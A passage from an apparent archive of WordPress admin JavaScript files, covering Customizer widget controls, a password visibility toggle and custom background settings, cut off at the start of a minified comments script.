+= '&' + $widgetContent.find( '~ :input' ).serialize(); if ( this._previousUpdateRequest ) { this._previousUpdateRequest.abort(); } jqxhr = $.post( wp.ajax.settings.url, data ); this._previousUpdateRequest = jqxhr; jqxhr.done( function( r ) { var message, sanitizedForm, $sanitizedInputs, hasSameInputsInResponse, isLiveUpdateAborted = false; // Check if the user is logged out. if ( '0' === r ) { api.previewer.preview.iframe.hide(); api.previewer.login().done( function() { self.updateWidget( args ); api.previewer.preview.iframe.show(); } ); return; } // Check for cheaters. if ( '-1' === r ) { api.previewer.cheatin(); return; } if ( r.success ) { sanitizedForm = $( '<div>' + r.data.form + '</div>' ); $sanitizedInputs = self._getInputs( sanitizedForm ); hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs ); // Restore live update mode if sanitized fields are now aligned with the existing fields. if ( hasSameInputsInResponse && ! self.liveUpdateMode ) { self.liveUpdateMode = true; self.container.removeClass( 'widget-form-disabled' ); self.container.find( 'input[name="savewidget"]' ).hide(); } // Sync sanitized field states to existing fields if they are aligned. if ( hasSameInputsInResponse && self.liveUpdateMode ) { $inputs.each( function( i ) { var $input = $( this ), $sanitizedInput = $( $sanitizedInputs[i] ), submittedState, sanitizedState, canUpdateState; submittedState = $input.data( 'state' + updateNumber ); sanitizedState = self._getInputState( $sanitizedInput ); $input.data( 'sanitized', sanitizedState ); canUpdateState = ( ! _.isEqual( submittedState, sanitizedState ) && ( args.ignoreActiveElement || ! $input.is( document.activeElement ) ) ); if ( canUpdateState ) { self._setInputState( $input, sanitizedState ); } } ); $( document ).trigger( 'widget-synced', [ $widgetRoot, r.data.form ] ); // Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled. } else if ( self.liveUpdateMode ) { self.liveUpdateMode = false; self.container.find( 'input[name="savewidget"]' ).show(); isLiveUpdateAborted = true; // Otherwise, replace existing form with the sanitized form. } else { $widgetContent.html( r.data.form ); self.container.removeClass( 'widget-form-disabled' ); $( document ).trigger( 'widget-updated', [ $widgetRoot ] ); } /** * If the old instance is identical to the new one, there is nothing new * needing to be rendered, and so we can preempt the event for the * preview finishing loading. */ isChanged = ! isLiveUpdateAborted && ! _( self.setting() ).isEqual( r.data.instance ); if ( isChanged ) { self.isWidgetUpdating = true; // Suppress triggering another updateWidget. self.setting( r.data.instance ); self.isWidgetUpdating = false; } else { // No change was made, so stop the spinner now instead of when the preview would updates. self.container.removeClass( 'previewer-loading' ); } if ( completeCallback ) { completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } ); } } else { // General error message. message = l10n.error; if ( r.data && r.data.message ) { message = r.data.message; } if ( completeCallback ) { completeCallback.call( self, message ); } else { $widgetContent.prepend( '<p class="widget-error"><strong>' + message + '</strong></p>' ); } } } ); jqxhr.fail( function( jqXHR, textStatus ) { if ( completeCallback ) { completeCallback.call( self, textStatus ); } } ); jqxhr.always( function() { self.container.removeClass( 'widget-form-loading' ); $inputs.each( function() { $( this ).removeData( 'state' + updateNumber ); } ); processing( processing() - 1 ); } ); }, /** * Expand the accordion section containing a control */ expandControlSection: function() { api.Control.prototype.expand.call( this ); }, /** * @since 4.1.0 * * @param {Boolean} expanded * @param {Object} [params] * @return {Boolean} False if state already applied. */ _toggleExpanded: api.Section.prototype._toggleExpanded, /** * @since 4.1.0 * * @param {Object} [params] * @return {Boolean} False if already expanded. */ expand: api.Section.prototype.expand, /** * Expand the widget form control * * @deprecated 4.1.0 Use this.expand() instead. */ expandForm: function() { this.expand(); }, /** * @since 4.1.0 * * @param {Object} [params] * @return {Boolean} False if already collapsed. */ collapse: api.Section.prototype.collapse, /** * Collapse the widget form control * * @deprecated 4.1.0 Use this.collapse() instead. */ collapseForm: function() { this.collapse(); }, /** * Expand or collapse the widget control * * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide ) * * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility */ toggleForm: function( showOrHide ) { if ( typeof showOrHide === 'undefined' ) { showOrHide = ! this.expanded(); } this.expanded( showOrHide ); }, /** * Respond to change in the expanded state. * * @param {boolean} expanded * @param {Object} args merged on top of this.defaultActiveArguments */ onChangeExpanded: function ( expanded, args ) { var self = this, $widget, $inside, complete, prevComplete, expandControl, $toggleBtn; self.embedWidgetControl(); // Make sure the outer form is embedded so that the expanded state can be set in the UI. if ( expanded ) { self.embedWidgetContent(); } // If the expanded state is unchanged only manipulate container expanded states. if ( args.unchanged ) { if ( expanded ) { api.Control.prototype.expand.call( self, { completeCallback: args.completeCallback }); } return; } $widget = this.container.find( 'div.widget:first' ); $inside = $widget.find( '.widget-inside:first' ); $toggleBtn = this.container.find( '.widget-top button.widget-action' ); expandControl = function() { // Close all other widget controls before expanding this one. api.control.each( function( otherControl ) { if ( self.params.type === otherControl.params.type && self !== otherControl ) { otherControl.collapse(); } } ); complete = function() { self.container.removeClass( 'expanding' ); self.container.addClass( 'expanded' ); $widget.addClass( 'open' ); $toggleBtn.attr( 'aria-expanded', 'true' ); self.container.trigger( 'expanded' ); }; if ( args.completeCallback ) { prevComplete = complete; complete = function () { prevComplete(); args.completeCallback(); }; } if ( self.params.is_wide ) { $inside.fadeIn( args.duration, complete ); } else { $inside.slideDown( args.duration, complete ); } self.container.trigger( 'expand' ); self.container.addClass( 'expanding' ); }; if ( $toggleBtn.attr( 'aria-expanded' ) === 'false' ) { if ( api.section.has( self.section() ) ) { api.section( self.section() ).expand( { completeCallback: expandControl } ); } else { expandControl(); } } else { complete = function() { self.container.removeClass( 'collapsing' ); self.container.removeClass( 'expanded' ); $widget.removeClass( 'open' ); $toggleBtn.attr( 'aria-expanded', 'false' ); self.container.trigger( 'collapsed' ); }; if ( args.completeCallback ) { prevComplete = complete; complete = function () { prevComplete(); args.completeCallback(); }; } self.container.trigger( 'collapse' ); self.container.addClass( 'collapsing' ); if ( self.params.is_wide ) { $inside.fadeOut( args.duration, complete ); } else { $inside.slideUp( args.duration, function() { $widget.css( { width:'', margin:'' } ); complete(); } ); } } }, /** * Get the position (index) of the widget in the containing sidebar * * @return {number} */ getWidgetSidebarPosition: function() { var sidebarWidgetIds, position; sidebarWidgetIds = this.getSidebarWidgetsControl().setting(); position = _.indexOf( sidebarWidgetIds, this.params.widget_id ); if ( position === -1 ) { return; } return position; }, /** * Move widget up one in the sidebar */ moveUp: function() { this._moveWidgetByOne( -1 ); }, /** * Move widget up one in the sidebar */ moveDown: function() { this._moveWidgetByOne( 1 ); }, /** * @private * * @param {number} offset 1|-1 */ _moveWidgetByOne: function( offset ) { var i, sidebarWidgetsSetting, sidebarWidgetIds, adjacentWidgetId; i = this.getWidgetSidebarPosition(); sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting; sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // Clone. adjacentWidgetId = sidebarWidgetIds[i + offset]; sidebarWidgetIds[i + offset] = this.params.widget_id; sidebarWidgetIds[i] = adjacentWidgetId; sidebarWidgetsSetting( sidebarWidgetIds ); }, /** * Toggle visibility of the widget move area * * @param {boolean} [showOrHide] */ toggleWidgetMoveArea: function( showOrHide ) { var self = this, $moveWidgetArea; $moveWidgetArea = this.container.find( '.move-widget-area' ); if ( typeof showOrHide === 'undefined' ) { showOrHide = ! $moveWidgetArea.hasClass( 'active' ); } if ( showOrHide ) { // Reset the selected sidebar. $moveWidgetArea.find( '.selected' ).removeClass( 'selected' ); $moveWidgetArea.find( 'li' ).filter( function() { return $( this ).data( 'id' ) === self.params.sidebar_id; } ).addClass( 'selected' ); this.container.find( '.move-widget-btn' ).prop( 'disabled', true ); } $moveWidgetArea.toggleClass( 'active', showOrHide ); }, /** * Highlight the widget control and section */ highlightSectionAndControl: function() { var $target; if ( this.container.is( ':hidden' ) ) { $target = this.container.closest( '.control-section' ); } else { $target = this.container; } $( '.highlighted' ).removeClass( 'highlighted' ); $target.addClass( 'highlighted' ); setTimeout( function() { $target.removeClass( 'highlighted' ); }, 500 ); } } ); /** * wp.customize.Widgets.WidgetsPanel * * Customizer panel containing the widget area sections. * * @since 4.4.0 * * @class wp.customize.Widgets.WidgetsPanel * @augments wp.customize.Panel */ api.Widgets.WidgetsPanel = api.Panel.extend(/** @lends wp.customize.Widgets.WigetsPanel.prototype */{ /** * Add and manage the display of the no-rendered-areas notice. * * @since 4.4.0 */ ready: function () { var panel = this; api.Panel.prototype.ready.call( panel ); panel.deferred.embedded.done(function() { var panelMetaContainer, noticeContainer, updateNotice, getActiveSectionCount, shouldShowNotice; panelMetaContainer = panel.container.find( '.panel-meta' ); // @todo This should use the Notifications API introduced to panels. See <https://core.trac.wordpress.org/ticket/38794>. noticeContainer = $( '<div></div>', { 'class': 'no-widget-areas-rendered-notice', 'role': 'alert' }); panelMetaContainer.append( noticeContainer ); /** * Get the number of active sections in the panel. * * @return {number} Number of active sidebar sections. */ getActiveSectionCount = function() { return _.filter( panel.sections(), function( section ) { return 'sidebar' === section.params.type && section.active(); } ).length; }; /** * Determine whether or not the notice should be displayed. * * @return {boolean} */ shouldShowNotice = function() { var activeSectionCount = getActiveSectionCount(); if ( 0 === activeSectionCount ) { return true; } else { return activeSectionCount !== api.Widgets.data.registeredSidebars.length; } }; /** * Update the notice. * * @return {void} */ updateNotice = function() { var activeSectionCount = getActiveSectionCount(), someRenderedMessage, nonRenderedAreaCount, registeredAreaCount; noticeContainer.empty(); registeredAreaCount = api.Widgets.data.registeredSidebars.length; if ( activeSectionCount !== registeredAreaCount ) { if ( 0 !== activeSectionCount ) { nonRenderedAreaCount = registeredAreaCount - activeSectionCount; someRenderedMessage = l10n.someAreasShown[ nonRenderedAreaCount ]; } else { someRenderedMessage = l10n.noAreasShown; } if ( someRenderedMessage ) { noticeContainer.append( $( '<p></p>', { text: someRenderedMessage } ) ); } noticeContainer.append( $( '<p></p>', { text: l10n.navigatePreview } ) ); } }; updateNotice(); /* * Set the initial visibility state for rendered notice. * Update the visibility of the notice whenever a reflow happens. */ noticeContainer.toggle( shouldShowNotice() ); api.previewer.deferred.active.done( function () { noticeContainer.toggle( shouldShowNotice() ); }); api.bind( 'pane-contents-reflowed', function() { var duration = ( 'resolved' === api.previewer.deferred.active.state() ) ? 'fast' : 0; updateNotice(); if ( shouldShowNotice() ) { noticeContainer.slideDown( duration ); } else { noticeContainer.slideUp( duration ); } }); }); }, /** * Allow an active widgets panel to be contextually active even when it has no active sections (widget areas). * * This ensures that the widgets panel appears even when there are no * sidebars displayed on the URL currently being previewed. * * @since 4.4.0 * * @return {boolean} */ isContextuallyActive: function() { var panel = this; return panel.active(); } }); /** * wp.customize.Widgets.SidebarSection * * Customizer section representing a widget area widget * * @since 4.1.0 * * @class wp.customize.Widgets.SidebarSection * @augments wp.customize.Section */ api.Widgets.SidebarSection = api.Section.extend(/** @lends wp.customize.Widgets.SidebarSection.prototype */{ /** * Sync the section's active state back to the Backbone model's is_rendered attribute * * @since 4.1.0 */ ready: function () { var section = this, registeredSidebar; api.Section.prototype.ready.call( this ); registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId ); section.active.bind( function ( active ) { registeredSidebar.set( 'is_rendered', active ); }); registeredSidebar.set( 'is_rendered', section.active() ); } }); /** * wp.customize.Widgets.SidebarControl * * Customizer control for widgets. * Note that 'sidebar_widgets' must match the WP_Widget_Area_Customize_Control::$type * * @since 3.9.0 * * @class wp.customize.Widgets.SidebarControl * @augments wp.customize.Control */ api.Widgets.SidebarControl = api.Control.extend(/** @lends wp.customize.Widgets.SidebarControl.prototype */{ /** * Set up the control */ ready: function() { this.$controlSection = this.container.closest( '.control-section' ); this.$sectionContent = this.container.closest( '.accordion-section-content' ); this._setupModel(); this._setupSortable(); this._setupAddition(); this._applyCardinalOrderClassNames(); }, /** * Update ordering of widget control forms when the setting is updated */ _setupModel: function() { var self = this; this.setting.bind( function( newWidgetIds, oldWidgetIds ) { var widgetFormControls, removedWidgetIds, priority; removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds ); // Filter out any persistent widget IDs for widgets which have been deactivated. newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) { var parsedWidgetId = parseWidgetId( newWidgetId ); return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } ); } ); widgetFormControls = _( newWidgetIds ).map( function( widgetId ) { var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId ); if ( ! widgetFormControl ) { widgetFormControl = self.addWidget( widgetId ); } return widgetFormControl; } ); // Sort widget controls to their new positions. widgetFormControls.sort( function( a, b ) { var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ), bIndex = _.indexOf( newWidgetIds, b.params.widget_id ); return aIndex - bIndex; }); priority = 0; _( widgetFormControls ).each( function ( control ) { control.priority( priority ); control.section( self.section() ); priority += 1; }); self.priority( priority ); // Make sure sidebar control remains at end. // Re-sort widget form controls (including widgets form other sidebars newly moved here). self._applyCardinalOrderClassNames(); // If the widget was dragged into the sidebar, make sure the sidebar_id param is updated. _( widgetFormControls ).each( function( widgetFormControl ) { widgetFormControl.params.sidebar_id = self.params.sidebar_id; } ); // Cleanup after widget removal. _( removedWidgetIds ).each( function( removedWidgetId ) { // Using setTimeout so that when moving a widget to another sidebar, // the other sidebars_widgets settings get a chance to update. setTimeout( function() { var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase, widget, isPresentInAnotherSidebar = false; // Check if the widget is in another sidebar. api.each( function( otherSetting ) { if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) || otherSetting.id === 'sidebars_widgets[wp_inactive_widgets]' ) { return; } var otherSidebarWidgets = otherSetting(), i; i = _.indexOf( otherSidebarWidgets, removedWidgetId ); if ( -1 !== i ) { isPresentInAnotherSidebar = true; } } ); // If the widget is present in another sidebar, abort! if ( isPresentInAnotherSidebar ) { return; } removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId ); // Detect if widget control was dragged to another sidebar. wasDraggedToAnotherSidebar = removedControl && $.contains( document, removedControl.container[0] ) && ! $.contains( self.$sectionContent[0], removedControl.container[0] ); // Delete any widget form controls for removed widgets. if ( removedControl && ! wasDraggedToAnotherSidebar ) { api.control.remove( removedControl.id ); removedControl.container.remove(); } // Move widget to inactive widgets sidebar (move it to Trash) if has been previously saved. // This prevents the inactive widgets sidebar from overflowing with throwaway widgets. if ( api.Widgets.savedWidgetIds[removedWidgetId] ) { inactiveWidgets = api.value( 'sidebars_widgets[wp_inactive_widgets]' )().slice(); inactiveWidgets.push( removedWidgetId ); api.value( 'sidebars_widgets[wp_inactive_widgets]' )( _( inactiveWidgets ).unique() ); } // Make old single widget available for adding again. removedIdBase = parseWidgetId( removedWidgetId ).id_base; widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } ); if ( widget && ! widget.get( 'is_multi' ) ) { widget.set( 'is_disabled', false ); } } ); } ); } ); }, /** * Allow widgets in sidebar to be re-ordered, and for the order to be previewed */ _setupSortable: function() { var self = this; this.isReordering = false; /** * Update widget order setting when controls are re-ordered */ this.$sectionContent.sortable( { items: '> .customize-control-widget_form', handle: '.widget-top', axis: 'y', tolerance: 'pointer', connectWith: '.accordion-section-content:has(.customize-control-sidebar_widgets)', update: function() { var widgetContainerIds = self.$sectionContent.sortable( 'toArray' ), widgetIds; widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) { return $( '#' + widgetContainerId ).find( ':input[name=widget-id]' ).val(); } ); self.setting( widgetIds ); } } ); /** * Expand other Customizer sidebar section when dragging a control widget over it, * allowing the control to be dropped into another section */ this.$controlSection.find( '.accordion-section-title' ).droppable({ accept: '.customize-control-widget_form', over: function() { var section = api.section( self.section.get() ); section.expand({ allowMultiple: true, // Prevent the section being dragged from to be collapsed. completeCallback: function () { // @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed. api.section.each( function ( otherSection ) { if ( otherSection.container.find( '.customize-control-sidebar_widgets' ).length ) { otherSection.container.find( '.accordion-section-content:first' ).sortable( 'refreshPositions' ); } } ); } }); } }); /** * Keyboard-accessible reordering */ this.container.find( '.reorder-toggle' ).on( 'click', function() { self.toggleReordering( ! self.isReordering ); } ); }, /** * Set up UI for adding a new widget */ _setupAddition: function() { var self = this; this.container.find( '.add-new-widget' ).on( 'click', function() { var addNewWidgetBtn = $( this ); if ( self.$sectionContent.hasClass( 'reordering' ) ) { return; } if ( ! $( 'body' ).hasClass( 'adding-widget' ) ) { addNewWidgetBtn.attr( 'aria-expanded', 'true' ); api.Widgets.availableWidgetsPanel.open( self ); } else { addNewWidgetBtn.attr( 'aria-expanded', 'false' ); api.Widgets.availableWidgetsPanel.close(); } } ); }, /** * Add classes to the widget_form controls to assist with styling */ _applyCardinalOrderClassNames: function() { var widgetControls = []; _.each( this.setting(), function ( widgetId ) { var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId ); if ( widgetControl ) { widgetControls.push( widgetControl ); } }); if ( 0 === widgetControls.length || ( 1 === api.Widgets.registeredSidebars.length && widgetControls.length <= 1 ) ) { this.container.find( '.reorder-toggle' ).hide(); return; } else { this.container.find( '.reorder-toggle' ).show(); } $( widgetControls ).each( function () { $( this.container ) .removeClass( 'first-widget' ) .removeClass( 'last-widget' ) .find( '.move-widget-down, .move-widget-up' ).prop( 'tabIndex', 0 ); }); _.first( widgetControls ).container .addClass( 'first-widget' ) .find( '.move-widget-up' ).prop( 'tabIndex', -1 ); _.last( widgetControls ).container .addClass( 'last-widget' ) .find( '.move-widget-down' ).prop( 'tabIndex', -1 ); }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * Enable/disable the reordering UI * * @param {boolean} showOrHide to enable/disable reordering * * @todo We should have a reordering state instead and rename this to onChangeReordering */ toggleReordering: function( showOrHide ) { var addNewWidgetBtn = this.$sectionContent.find( '.add-new-widget' ), reorderBtn = this.container.find( '.reorder-toggle' ), widgetsTitle = this.$sectionContent.find( '.widget-title' ); showOrHide = Boolean( showOrHide ); if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) { return; } this.isReordering = showOrHide; this.$sectionContent.toggleClass( 'reordering', showOrHide ); if ( showOrHide ) { _( this.getWidgetFormControls() ).each( function( formControl ) { formControl.collapse(); } ); addNewWidgetBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); reorderBtn.attr( 'aria-label', l10n.reorderLabelOff ); wp.a11y.speak( l10n.reorderModeOn ); // Hide widget titles while reordering: title is already in the reorder controls. widgetsTitle.attr( 'aria-hidden', 'true' ); } else { addNewWidgetBtn.removeAttr( 'tabindex aria-hidden' ); reorderBtn.attr( 'aria-label', l10n.reorderLabelOn ); wp.a11y.speak( l10n.reorderModeOff ); widgetsTitle.attr( 'aria-hidden', 'false' ); } }, /** * Get the widget_form Customize controls associated with the current sidebar. * * @since 3.9.0 * @return {wp.customize.controlConstructor.widget_form[]} */ getWidgetFormControls: function() { var formControls = []; _( this.setting() ).each( function( widgetId ) { var settingId = widgetIdToSettingId( widgetId ), formControl = api.control( settingId ); if ( formControl ) { formControls.push( formControl ); } } ); return formControls; }, /** * @param {string} widgetId or an id_base for adding a previously non-existing widget. * @return {Object|false} widget_form control instance, or false on error. */ addWidget: function( widgetId ) { var self = this, controlHtml, $widget, controlType = 'widget_form', controlContainer, controlConstructor, parsedWidgetId = parseWidgetId( widgetId ), widgetNumber = parsedWidgetId.number, widgetIdBase = parsedWidgetId.id_base, widget = api.Widgets.availableWidgets.findWhere( {id_base: widgetIdBase} ), settingId, isExistingWidget, widgetFormControl, sidebarWidgets, settingArgs, setting; if ( ! widget ) { return false; } if ( widgetNumber && ! widget.get( 'is_multi' ) ) { return false; } // Set up new multi widget. if ( widget.get( 'is_multi' ) && ! widgetNumber ) { widget.set( 'multi_number', widget.get( 'multi_number' ) + 1 ); widgetNumber = widget.get( 'multi_number' ); } controlHtml = $( '#widget-tpl-' + widget.get( 'id' ) ).html().trim(); if ( widget.get( 'is_multi' ) ) { controlHtml = controlHtml.replace( /<[^<>]+>/g, function( m ) { return m.replace( /__i__|%i%/g, widgetNumber ); } ); } else { widget.set( 'is_disabled', true ); // Prevent single widget from being added again now. } $widget = $( controlHtml ); controlContainer = $( '<li/>' ) .addClass( 'customize-control' ) .addClass( 'customize-control-' + controlType ) .append( $widget ); // Remove icon which is visible inside the panel. controlContainer.find( '> .widget-icon' ).remove(); if ( widget.get( 'is_multi' ) ) { controlContainer.find( 'input[name="widget_number"]' ).val( widgetNumber ); controlContainer.find( 'input[name="multi_number"]' ).val( widgetNumber ); } widgetId = controlContainer.find( '[name="widget-id"]' ).val(); controlContainer.hide(); // To be slid-down below. settingId = 'widget_' + widget.get( 'id_base' ); if ( widget.get( 'is_multi' ) ) { settingId += '[' + widgetNumber + ']'; } controlContainer.attr( 'id', 'customize-control-' + settingId.replace( /\]/g, '' ).replace( /\[/g, '-' ) ); // Only create setting if it doesn't already exist (if we're adding a pre-existing inactive widget). isExistingWidget = api.has( settingId ); if ( ! isExistingWidget ) { settingArgs = { transport: api.Widgets.data.selectiveRefreshableWidgets[ widget.get( 'id_base' ) ] ? 'postMessage' : 'refresh', previewer: this.setting.previewer }; setting = api.create( settingId, settingId, '', settingArgs ); setting.set( {} ); // Mark dirty, changing from '' to {}. } controlConstructor = api.controlConstructor[controlType]; widgetFormControl = new controlConstructor( settingId, { settings: { 'default': settingId }, content: controlContainer, sidebar_id: self.params.sidebar_id, widget_id: widgetId, widget_id_base: widget.get( 'id_base' ), type: controlType, is_new: ! isExistingWidget, width: widget.get( 'width' ), height: widget.get( 'height' ), is_wide: widget.get( 'is_wide' ) } ); api.control.add( widgetFormControl ); // Make sure widget is removed from the other sidebars. api.each( function( otherSetting ) { if ( otherSetting.id === self.setting.id ) { return; } if ( 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) ) { return; } var otherSidebarWidgets = otherSetting().slice(), i = _.indexOf( otherSidebarWidgets, widgetId ); if ( -1 !== i ) { otherSidebarWidgets.splice( i ); otherSetting( otherSidebarWidgets ); } } ); // Add widget to this sidebar. sidebarWidgets = this.setting().slice(); if ( -1 === _.indexOf( sidebarWidgets, widgetId ) ) { sidebarWidgets.push( widgetId ); this.setting( sidebarWidgets ); } controlContainer.slideDown( function() { if ( isExistingWidget ) { widgetFormControl.updateWidget( { instance: widgetFormControl.setting() } ); } } ); return widgetFormControl; } } ); // Register models for custom panel, section, and control types. $.extend( api.panelConstructor, { widgets: api.Widgets.WidgetsPanel }); $.extend( api.sectionConstructor, { sidebar: api.Widgets.SidebarSection }); $.extend( api.controlConstructor, { widget_form: api.Widgets.WidgetControl, sidebar_widgets: api.Widgets.SidebarControl }); /** * Init Customizer for widgets. */ api.bind( 'ready', function() { // Set up the widgets panel. api.Widgets.availableWidgetsPanel = new api.Widgets.AvailableWidgetsPanelView({ collection: api.Widgets.availableWidgets }); // Highlight widget control. api.previewer.bind( 'highlight-widget-control', api.Widgets.highlightWidgetFormControl ); // Open and focus widget control. api.previewer.bind( 'focus-widget-control', api.Widgets.focusWidgetFormControl ); } ); /** * Highlight a widget control. * * @param {string} widgetId */ api.Widgets.highlightWidgetFormControl = function( widgetId ) { var control = api.Widgets.getWidgetFormControlForWidget( widgetId ); if ( control ) { control.highlightSectionAndControl(); } }, /** * Focus a widget control. * * @param {string} widgetId */ api.Widgets.focusWidgetFormControl = function( widgetId ) { var control = api.Widgets.getWidgetFormControlForWidget( widgetId ); if ( control ) { control.focus(); } }, /** * Given a widget control, find the sidebar widgets control that contains it. * @param {string} widgetId * @return {Object|null} */ api.Widgets.getSidebarWidgetControlContainingWidget = function( widgetId ) { var foundControl = null; // @todo This can use widgetIdToSettingId(), then pass into wp.customize.control( x ).getSidebarWidgetsControl(). api.control.each( function( control ) { if ( control.params.type === 'sidebar_widgets' && -1 !== _.indexOf( control.setting(), widgetId ) ) { foundControl = control; } } ); return foundControl; }; /** * Given a widget ID for a widget appearing in the preview, get the widget form control associated with it. * * @param {string} widgetId * @return {Object|null} */ api.Widgets.getWidgetFormControlForWidget = function( widgetId ) { var foundControl = null; // @todo We can just use widgetIdToSettingId() here. api.control.each( function( control ) { if ( control.params.type === 'widget_form' && control.params.widget_id === widgetId ) { foundControl = control; } } ); return foundControl; }; /** * Initialize Edit Menu button in Nav Menu widget. */ $( document ).on( 'widget-added', function( event, widgetContainer ) { var parsedWidgetId, widgetControl, navMenuSelect, editMenuButton; parsedWidgetId = parseWidgetId( widgetContainer.find( '> .widget-inside > .form > .widget-id' ).val() ); if ( 'nav_menu' !== parsedWidgetId.id_base ) { return; } widgetControl = api.control( 'widget_nav_menu[' + String( parsedWidgetId.number ) + ']' ); if ( ! widgetControl ) { return; } navMenuSelect = widgetContainer.find( 'select[name*="nav_menu"]' ); editMenuButton = widgetContainer.find( '.edit-selected-nav-menu > button' ); if ( 0 === navMenuSelect.length || 0 === editMenuButton.length ) { return; } navMenuSelect.on( 'change', function() { if ( api.section.has( 'nav_menu[' + navMenuSelect.val() + ']' ) ) { editMenuButton.parent().show(); } else { editMenuButton.parent().hide(); } }); editMenuButton.on( 'click', function() { var section = api.section( 'nav_menu[' + navMenuSelect.val() + ']' ); if ( section ) { focusConstructWithBreadcrumb( section, widgetControl ); } } ); } ); /** * Focus (expand) one construct and then focus on another construct after the first is collapsed. * * This overrides the back button to serve the purpose of breadcrumb navigation. * * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} focusConstruct - The object to initially focus. * @param {wp.customize.Section|wp.customize.Panel|wp.customize.Control} returnConstruct - The object to return focus. */ function focusConstructWithBreadcrumb( focusConstruct, returnConstruct ) { focusConstruct.focus(); function onceCollapsed( isExpanded ) { if ( ! isExpanded ) { focusConstruct.expanded.unbind( onceCollapsed ); returnConstruct.focus(); } } focusConstruct.expanded.bind( onceCollapsed ); } /** * @param {string} widgetId * @return {Object} */ function parseWidgetId( widgetId ) { var matches, parsed = { number: null, id_base: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.id_base = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { // Likely an old single widget. parsed.id_base = widgetId; } return parsed; } /** * @param {string} widgetId * @return {string} settingId */ function widgetIdToSettingId( widgetId ) { var parsed = parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.id_base; if ( parsed.number ) { settingId += '[' + parsed.number + ']'; } return settingId; } })( window.wp, jQuery ); password-toggle.min.js 0000644 00000001517 15222552267 0011021 0 ustar 00 /*! This file is auto-generated */ !function(){var t,e,s,i,a=wp.i18n.__;function d(){t=this.getAttribute("data-toggle"),e=this.parentElement.children.namedItem("pwd"),s=this.getElementsByClassName("dashicons")[0],i=this.getElementsByClassName("text")[0],0===parseInt(t,10)?(this.setAttribute("data-toggle",1),this.setAttribute("aria-label",a("Hide password")),e.setAttribute("type","text"),i.innerHTML=a("Hide"),s.classList.remove("dashicons-visibility"),s.classList.add("dashicons-hidden")):(this.setAttribute("data-toggle",0),this.setAttribute("aria-label",a("Show password")),e.setAttribute("type","password"),i.innerHTML=a("Show"),s.classList.remove("dashicons-hidden"),s.classList.add("dashicons-visibility"))}document.querySelectorAll(".pwd-toggle").forEach(function(t){t.classList.remove("hide-if-no-js"),t.addEventListener("click",d)})}(); custom-background.js 0000644 00000006553 15222552267 0010552 0 ustar 00 /** * @output wp-admin/js/custom-background.js */ /* global ajaxurl */ /** * Registers all events for customizing the background. * * @since 3.0.0 * * @requires jQuery */ (function($) { $( function() { var frame, bgImage = $( '#custom-background-image' ); /** * Instantiates the WordPress color picker and binds the change and clear events. * * @since 3.5.0 * * @return {void} */ $('#background-color').wpColorPicker({ change: function( event, ui ) { bgImage.css('background-color', ui.color.toString()); }, clear: function() { bgImage.css('background-color', ''); } }); /** * Alters the background size CSS property whenever the background size input has changed. * * @since 4.7.0 * * @return {void} */ $( 'select[name="background-size"]' ).on( 'change', function() { bgImage.css( 'background-size', $( this ).val() ); }); /** * Alters the background position CSS property whenever the background position input has changed. * * @since 4.7.0 * * @return {void} */ $( 'input[name="background-position"]' ).on( 'change', function() { bgImage.css( 'background-position', $( this ).val() ); }); /** * Alters the background repeat CSS property whenever the background repeat input has changed. * * @since 3.0.0 * * @return {void} */ $( 'input[name="background-repeat"]' ).on( 'change', function() { bgImage.css( 'background-repeat', $( this ).is( ':checked' ) ? 'repeat' : 'no-repeat' ); }); /** * Alters the background attachment CSS property whenever the background attachment input has changed. * * @since 4.7.0 * * @return {void} */ $( 'input[name="background-attachment"]' ).on( 'change', function() { bgImage.css( 'background-attachment', $( this ).is( ':checked' ) ? 'scroll' : 'fixed' ); }); /** * Binds the event for opening the WP Media dialog. * * @since 3.5.0 * * @return {void} */ $('#choose-from-library-link').on( 'click', function( event ) { var $el = $(this); event.preventDefault(); // If the media frame already exists, reopen it. if ( frame ) { frame.open(); return; } // Create the media frame. frame = wp.media.frames.customBackground = wp.media({ // Set the title of the modal. title: $el.data('choose'), // Tell the modal to show only images. library: { type: 'image' }, // Customize the submit button. button: { // Set the text of the button. text: $el.data('update'), /* * Tell the button not to close the modal, since we're * going to refresh the page when the image is selected. */ close: false } }); /** * When an image is selected, run a callback. * * @since 3.5.0 * * @return {void} */ frame.on( 'select', function() { // Grab the selected attachment. var attachment = frame.state().get('selection').first(); var nonceValue = $( '#_wpnonce' ).val() || ''; // Run an Ajax request to set the background image. $.post( ajaxurl, { action: 'set-background-image', attachment_id: attachment.id, _ajax_nonce: nonceValue, size: 'full' }).done( function() { // When the request completes, reload the window. window.location.reload(); }); }); // Finally, open the modal. frame.open(); }); }); })(jQuery); edit-comments.min.js 0000644 00000036233 15222552267 0010453 0 ustar 00 /*! This file is auto-generated */ !function(w){var 